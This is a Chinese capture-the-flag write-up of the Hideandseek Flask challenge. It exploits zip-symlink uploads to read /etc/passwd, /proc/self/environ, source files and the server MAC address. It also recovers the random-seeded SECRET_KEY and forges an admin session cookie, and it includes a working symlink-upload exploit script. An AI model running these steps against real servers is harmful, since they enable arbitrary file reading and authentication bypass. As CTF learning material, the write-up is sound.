考点:
/proc/self/environ
文件获取当前进程的环境变量列表random.seed()
生成的伪随机数种子/sys/class/net/eth0/address
文件启动环境:
信息中心,登陆后查看更多信息,导航栏上内容并不会跳转
尝试登陆:
以为是弱密码,但发现任意用户密码均可登陆,登陆后存在上传点
首先上传正常的txt
文件:
得到回显:
需要上传zip
文件,猜测可能是通过软连接实现任意文件读取,制作软链接读取etc/passwd
文件:
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
得到如下压缩包:
上传后,成功得到回显:
成功被执行,制作读取/flag
的软连接,但是未能得到回显
猜测可能是test
用户权限的问题,尝试以admin
用户登录:
因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test
用户登陆,查看Cookie:
session=eyJ1c2VybmFtZSI6InRlc3QifQ.Et7HoQ.bJUvSzoorCsh7a3yjgnrN9vOUx4
很有可能是Flask的框架,尝试使用Session解密脚本:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
运行命令:
python3 flask-session-decode.py eyJ1c2VybmFtZSI6InRlc3QifQ.Et7HoQ.bJUvSzoorCsh7a3yjgnrN9vOUx4
得到解密后的内容:
可以初步判断是以Session判断是否是admin
用户,但伪造session还需要Flask的SECRET_KEY
值。
因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ
文件,以获取当前进程的环境变量列表。
其中/proc
是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ
是当前进程的环境变量列表。
制作读取该文件的软连接:
ln -s /proc/self/environ environ
zip -y environ.zip environ
上传文件后,获得回显:
HOSTNAME=e3cc728ea7d4
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/uwsgi.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.81~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~stretch
LANG=C.UTF8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static
FLAG=not_flag
发现其存在UWSGI_INI=/app/uwsgi.ini
,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取,在后续查阅大佬wp时,发现了软链接读取文件的EXP:记[HCTF 2018]Hideandseek
进行部分修改后:
import os
import requests
import sys
def make_zip():
os.system('ln -s ' + sys.argv[2] + ' test_exp')
os.system('zip -y test_exp.zip test_exp')
def run():
make_zip()
res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
print(res.text)
os.system('rm -rf test_exp')
os.system('rm -rf test_exp.zip')
if __name__ == '__main__':
run()
运行命令:
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/uwsgi.ini
得到内容:
可以看到其源码应是/app/main.py
,使用EXP尝试读取源码:
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/main.py
得到其源码:
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
开始有些疑惑,但在查阅了大佬wp后,发现应该是这道题小bug,原题中的main.py
文件应在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
路径下,而本题也是,使用写好的EXP读取:
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
得到回显:
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
这次读取的才是真正的main.py
源码
不对全部的源码进行分析了,直接查找所需的SECRET_KEY
的值发现:
app.config['SECRET_KEY'] = str(random.random()*100)
其对SECRET_KEY
做了random
随机处理,但random
生成的随机数都是伪随机数,有一定的规律。
发现了其中:
random.seed(uuid.getnode())
random.seed()
方法改变随机数生成器的种子,Python之random.seed()用法
uuid.getnode()
方法以48
位正整数形式获取硬件地址,也就是服务器的MAC地址
若获取了服务器的MAC地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件,查找到MAC地址存放在/sys/class/net/eth0/address
文件中,读取该文件:
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /sys/class/net/eth0/address
通过Python3将其转换为十进制:
mac = "02:42:ac:10:8e:10".split(":")
# 首先转换成十进制
mac_int = [int(i, 16) for i in mac]
# 转换成二进制
mac_bin = [bin(i).replace('0b', '').zfill(8) for i in mac_int]
# 转换为整数
mac_dec = int("".join(mac_bin), 2)
print(mac_dec)
种子值得到2485377863184
,编写Python构造SECRET_KEY
的值:
import random
random.seed(2485377863184)
SECRET_KEY = str(random.random() * 100)
print(SECRET_KEY)
运行后,得到SECRET_KEY
的值为:74.28774432740572
,使用flask-session-cookie-manager
构造Session:
python3 flask_session_cookie_manager3.py encode -s "74.28774432740572" -t "{'username': 'admin'}"
运行后,得到加密的Session:
eyJ1c2VybmFtZSI6ImFkbWluIn0.X_1LlA.FrDsn4otQkr_y-MCMPLILtpbcgE